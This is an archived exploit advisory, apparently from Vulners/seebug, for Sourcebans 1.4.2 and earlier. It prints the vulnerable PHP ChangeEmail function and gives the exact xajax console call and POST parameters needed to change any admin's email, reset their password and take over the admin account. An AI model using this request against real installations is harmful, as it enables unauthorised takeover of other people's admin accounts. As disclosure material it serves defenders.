Lucene search
K

Sourcebans <= 1.4.2 Arbitrary Change Admin Email Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 15 Views

Sourcebans version 1.4.2 enables arbitrary admin email changes without verification.

Code

                                                Sourcebans (PHP) (sb-callback.php)
Author: Mr. Anonymous
------
Vendor:http://www.sourcebans.com
Affected Versions: &#60;= 1.4.2
-----
Exploit (sb-callback lines 185-204):
-------------
function ChangeEmail($aid, $email)
{	
	...SNIP...
	
	$GLOBALS[&#39;db&#39;]-&#62;Execute(&#34;UPDATE `&#34;.DB_PREFIX.&#34;_admins` SET `email` =
&#39;&#34;.$email.&#34;&#39; WHERE `aid` = &#39;&#34;.$aid.&#34;&#39;&#34;);
	$objResponse-&#62;addScript(&#34;ShowBox(&#39;E-mail address changed&#39;, &#39;Your
E-mail address has been changed successfully.&#39;, &#39;green&#39;,
&#39;index.php?p=account&#39;, true);&#34;);
	$log = new CSystemLog(&#34;m&#34;, &#34;E-mail Changed&#34;, &#34;E-mail changed for
admin (&#34;.$aid.&#34;)&#34;);
	return $objResponse;
}
-------
How to Exploit
-------
No checking is done to verify you own that email address.  You can
simply submit a post request with the following arguments, to change
any admins email with your own (or a temporary one), and then reset
their password, then get full admin access.

You can download firebug for firefox, and simply run in the console
&#34;xajax_ChangeEmail(ADMIN_ID, EMAIL_TO_CHANGE_TO)&#34;, otherwise you need
to send these variables to index.php via POST:

xxajax: ChangeEmail
xajaxargs[]: ADMIN_ID
xajaxargs[]: EMAIL_TO_CHANGE_TO

# milw0rm.com [2009-06-22]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
15